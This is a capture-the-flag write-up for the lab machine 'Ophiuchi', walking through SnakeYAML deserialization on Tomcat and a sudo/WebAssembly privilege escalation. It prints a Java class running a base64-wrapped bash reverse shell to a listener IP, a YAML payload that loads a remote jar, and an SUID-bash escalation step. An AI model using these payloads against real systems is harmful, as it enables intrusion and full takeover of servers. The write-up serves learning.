Ophiuchi Writeup

Reconnaissance & Enumeration

As usual we start with a nmap scan of the box.

sudo nmap -v -sC -sV -oN nmap -p- ophiuchi.htb

Scan report:

# Nmap 7.91 scan initiated Wed Feb 24 09:16:12 2021 as: nmap -v -sC -sV -oN nmap -p- ophiuchi.htb
Nmap scan report for ophiuchi.htb (10.10.10.227)
Host is up (0.068s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.38
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_ke
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 24 09:16:58 2021 -- 1 IP address (1 host up) scanned in 45.86 seconds

Looks like we have an Apache Tomcat service on port 8080 and an SSH service per usual.

Directory enumeration was not necessary in this case.

Getting user

Visiting the apache service, we find an online yaml parser. (Kind of RCE suspicious.) After some googling, I have found an article about Swagger YAML Parser Vulnerability (SnakeYaml Deserilization exploitation). I am not going into details here; this article explains the vulnerability well.

I have also found a project on GitHub for generating payloads for SnakeYAML deserialization, so I did not have to write the code myself. The script is straightforward. I have just cloned the project and modified the AwesomeScriptEngineFactory.java file as seen below. This will create our reverse-shell.

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
import java.util.Base64;
import java.util.concurrent.TimeUnit;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {

            String cmd = "bash -i >& /dev/tcp/10.10.14.79/4444 0>&1"; // <-- your actual command here

            String b64Cmd = Base64.getEncoder().encodeToString(cmd.getBytes());
            cmd = "bash -c {echo,"+b64Cmd+"}|{base64,-d}|{bash,-i}"; // *nix only

            Runtime.getRuntime()
                .exec(cmd)
                .waitFor(30, TimeUnit.SECONDS); //increase this probably

        } catch (Exception e) {
            //e.printStackTrace();
        }
    }
    ...

Now we just have to compile and upload our payload.

javac src/artsploit/AwesomeScriptEngineFactory.java

The exploit relies on the target JVM being able to connect out to our HTTP server, so we have to serve our payload.

Next, let us set up a netcat listener before we run the exploit.

Now what is left to do is to get our target machine to execute our .jar file. This is being done by supplying the following string to the yaml-parser:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.79/payload.jar"]
  ]]
]

Upon parsing the malicious string, SnakeYaml will invoke the ScriptEngineManager constructor and make a request to our server and execute our payload.

If we did everything well, we should have a reverse-shell at this point.

Let us enumerate the machine to see if we can find something useful. Looking through the Apache Tomcat config files, I have found the password to the user admin in the file tomcat-users.xml.

Now we can use the ssh service to access the box using the admin user and grab the user flag.

Getting root

Listing the allowed sudo commands as the user admin we find out that we can run the following command as sudo without authentication:

/usr/bin/go run /opt/wasm-functions/index.go

Running the command alone does not even work, we get an index out of range error.

Let us see what is inside /opt/wasm-functions/index.go file.

The first thing I have noticed is the usage of relative paths. Of course we got an error, we do not have the main.wasm in the current directory. Navigating to the /opt/wasm-functions directory we find the missing WebAssembly file and finally we can run the index.go file just to get the “Not ready to deploy” message.

Let us take a look at the source code again. Looks like the value of the “info” exported function has to be “1” else we get the latter message.

package main

import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)


func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

To change that value to “1” we have to edit the original main.wasm. I have copied over the file to my computer.

Using webassembly.studio I have changed the 0 value to 1 and then uploaded the new main.wasm to the target machine into /tmp and created the deploy.sh to set the SUID permission on the bash.

Now what is left to do is to execute the index.go file from this directory and grab the root flag.